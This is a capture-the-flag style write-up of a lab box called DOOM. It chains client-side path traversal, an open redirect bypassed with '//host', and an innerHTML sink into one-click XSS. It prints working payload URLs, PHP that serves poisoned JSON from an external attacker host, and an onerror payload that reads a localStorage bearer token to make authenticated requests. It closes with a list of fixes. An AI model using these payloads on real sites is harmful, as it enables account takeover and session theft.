# DOOM — Chaining CSPT, Open Redirect, and XSS

**By [Iliya Dindar](https://iliyadindar.site)**

> A walkthrough of the **DOOM** box. Three "small" bugs that mean nothing on their own, but composed together hand you a one-click XSS that runs on the victim's origin with their session in localStorage.

## TL;DR

1. The blog page reads the post slug from the URL and fetches it as `GET /api/v1/blogs/${m}` — **Client-Side Path Traversal (CSPT)** lets us break out of that path.
2. `GET /api/v1/redirect?redirect_to=…` blindly follows arbitrary external URLs — **Open Redirect**.
3. The render function injects the response into the DOM via **`innerHTML`**, not `innerText`.

Chain → CSPT pivots the fetcher to the redirect endpoint, the redirect endpoint sends it to my server, my server returns JSON with a malicious `blog.Content`, and the page happily renders it as HTML on the target origin.

```
CSPT  →  Open Redirect  →  XSS
```

Final payload:

```
https://<target>/blogs/1%2f..%2f..%2fredirect%3fredirect_to=%2f%2fthezoro.com%2flab%2fdoom.php
```

---

## Recon — Where does the blog content come from?

The blog page is fully client-rendered. Opening DevTools and pulling up the bundled JS, the interesting block is the loader for a single post:

```js
try {
    const m = decodeURI(i),
          C = await (await fetch(`/api/v1/blogs/${m}`)).json();
    C.status === "success"
        ? o(C.data.blog)
        : N(C.data || "Failed to load blog post")
} catch {
    N("Network error. Please try again.")
} finally {
    d(!1)
}
```

Two things to note straight away:

- `i` comes from the URL path. `m = decodeURI(i)` — and `decodeURI` does **not** decode `%2f`. That'll matter in a minute.
- The blog object is handed to a render function `o(...)`. Whether `o` writes to `innerHTML` or `innerText` decides whether this is exploitable.

A breakpoint on the line confirms the path. Visiting `/blogs/1mamad` gives `m = "1mamad"` and the fetch goes to `/api/v1/blogs/1mamad`. The slug is reflected straight into the URL with no filtering.

## CSPT — escaping `/api/v1/blogs/`

Because the slug is concatenated into a path without normalization on the client, `..%2f` segments are passed through to `fetch` and the browser resolves them as path traversal **before** sending the request.

```
/blogs/1%2f..%2f..%2fmamad
        │   │     │
        │   │     └── escape /v1/
        │   └── escape /blogs/
        └── still inside /api/v1/blogs/
```

So a request that looks like it's loading blog `1/..%2f..%2fmamad` actually fires off `GET /api/v1/mamad`. CSPT confirmed — I can repoint the loader at **any other endpoint under `/api/`**.

On its own, that's a gadget looking for a sink.

## The signup flow leaks a second gadget

After registering an account, I noticed a redirect helper in the signup → blogs handoff:

```http
GET /api/v1/redirect?redirect_to=/blogs HTTP/2
Host: vu1hj6gf6w.voorivex-lab.online
Referer: https://vu1hj6gf6w.voorivex-lab.online/signup
...
```

First instinct: try an absolute URL — but throwing a full `https://...` at it gets rejected. There's a server-side check on `redirect_to` that looks at the **prefix** and bounces anything starting with `http://` or `https://`. That filter is doing a literal scheme-prefix string match, not a real URL parse, which is the textbook way for this kind of check to fail.

A **protocol-relative URL** sidesteps the check entirely — `//www.google.com` doesn't start with `http` or `https`, but the browser still treats it as absolute and inherits the current page's scheme:

```
/api/v1/redirect?redirect_to=//www.google.com
```

Server responds with a 30x to `https://www.google.com`. **Open Redirect** — second gadget unlocked.

```
Open Redirect → arbitrary domain
```

## Finding the sink — `o()` is `innerHTML`

Back to the loader. Whether this chain ends in XSS or in "well, that was a fun puzzle" hinges on what `o(C.data.blog)` does with `.Content`.

Rather than reading every minified function, I let the page tell me. Breakpoint on the call to `o()`, then in the debugger's scope panel I overwrote `C.data.blog.Content` live:

```js
C.data.blog.Content = "<img src=x onerror=alert(origin)>"
```

Resume execution → alert fires showing the target's origin. The sink is **`innerHTML`**. That's the third piece.

> Lesson worth repeating: don't trace minified bundles by hand if you don't have to. Break on the render call, mutate the object, resume. The DOM tells you which sink you hit.

## Chaining

The three primitives:

| # | Primitive       | Where                                | What it gives |
|---|-----------------|--------------------------------------|---------------|
| 1 | CSPT            | `fetch('/api/v1/blogs/${m}')`        | Redirect the client-side fetch to any path under `/api/v1/` |
| 2 | Open Redirect   | `/api/v1/redirect?redirect_to=…`     | Force that fetch off-origin to my server |
| 3 | `innerHTML` sink  | `o(C.data.blog)`                     | Anything I return in `Content` is parsed as HTML |

The chain writes itself:

1. Victim visits `/blogs/1%2f..%2f..%2fredirect%3fredirect_to=%2f%2fthezoro.com%2flab%2fdoom.php`.
2. The client computes `fetch("/api/v1/blogs/1/../../redirect?redirect_to=//thezoro.com/lab/doom.php")` → resolves to `fetch("/api/v1/redirect?redirect_to=//thezoro.com/lab/doom.php")`.
3. Server replies 30x → browser follows to `https://thezoro.com/lab/doom.php`.
4. My server returns JSON with `status: "success"` and a poisoned `data.blog.Content`.
5. `o()` calls `innerHTML` with it on the **target's origin**. Script executes with full DOM access and access to `localStorage` (where the token lives).

The request the loader actually fires after redirection:

```http
GET /api/v1/redirect?redirect_to=//thezoro.com/lab/doom.php HTTP/2
Host: v1cyd3avx3.voorivex-lab.online
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://v1cyd3avx3.voorivex-lab.online/blogs/1%2f..%2f..%2fredirect%3fredirect_to=%2f%2fthezoro.com%2flab%2fdoom.php
Accept: */*
...
```

## The hosted JSON — `doom.php`

Minimal PoC that proves arbitrary script execution on the target origin:

```php
<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
$response = [
    "status" => "success",
    "data" => [
        "blog" => [
            "ID" => 1,
            "Title" => "Top 10 Web Application Security Threats You Must Know in 2025",
            "Content" => "<img src='x' onerror='alert(origin)'>",
            "CreatedAt" => "2026-05-22T13:52:32Z",
            "AuthorName" => "Kael Donovan"
        ]
    ]
];
echo json_encode($response);
```

`alert(origin)` shows the **target's** origin, not `thezoro.com` — confirming the script runs in the vulnerable site's context because the DOM that wrote it lives there.

## Escalation — riding the session

Since the payload runs on-origin and the auth token is stored client-side in `localStorage` under `doom_token`, account actions are one fetch away. Swapping the `Content` for an account-takeover primitive — overwriting the victim's bio (any authenticated PUT works the same way):

```php
<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
$response = [
    "status" => "success",
    "data" => [
        "blog" => [
            "ID" => 1,
            "Title" => "Top 10 Web Application Security Threats You Must Know in 2025",
            "Content" => "
                <img src='x' onerror='alert(origin)'>
                <img src=y onerror='
                    fetch(`https://v1cyd3avx3.voorivex-lab.online/api/v1/users/update`, {
                        method: `PUT`,
                        headers: {
                            [`Authorization`]: `Bearer ${localStorage.getItem(`doom_token`)}`,
                            [`Content-Type`]: `application/json`
                        },
                        body: JSON.stringify({ bio: `HACKED` })
                    }).then(r=>r.json()).then(d=>console.log(d))
                '>
            ",
            "CreatedAt" => "2026-05-22T13:52:32Z",
            "AuthorName" => "Kael Donovan"
        ]
    ]
];
echo json_encode($response);
```

Two `<img onerror>` payloads stacked: first to prove execution, second to read the token from `localStorage` and PUT it to the user-update endpoint. From here it's trivial to extend to email/password changes, session exfil, or whatever the API surface allows.

## Why each layer failed

- **CSPT.** Slugs that go into URL paths should be normalized (or, better, validated against a strict pattern) before being concatenated into `fetch`. `decodeURI` not touching `%2f` is the silent enabler.
- **Open Redirect.** The `redirect_to` filter does a literal `http://`/`https://` prefix string match instead of parsing the URL, so a protocol-relative `//host` walks straight past it. The fix is to parse the value as a URL and either match the host against an allow-list or reject anything that resolves to an external origin (and reject anything starting with `/` followed by another `/` or `\`).
- **`innerHTML` sink.** Blog content from the API is trusted unconditionally and dropped into `innerHTML`. Either render it through `innerText`, or sanitize server-side with a library that strips event handlers (DOMPurify on the client is the bare minimum).

Any **one** of those fixes breaks the chain. None of them are present.

## Wrap

The fun of this box is that none of the three bugs is severe by itself. CSPT with nowhere to pivot to is a quirk. An open redirect to an arbitrary domain on its own is medium at best. `innerHTML` is only a problem if you can poison what flows into it. Compose them and you get cross-origin script execution against any logged-in user with one click.

```
CSPT (client path traversal)
  └─→ Open Redirect (server-side, no host validation)
        └─→ Attacker-controlled JSON
              └─→ innerHTML sink
                    └─→ XSS on target origin → token theft
```

— **Iliya Dindar** · [iliyadindar.site](https://iliyadindar.site)
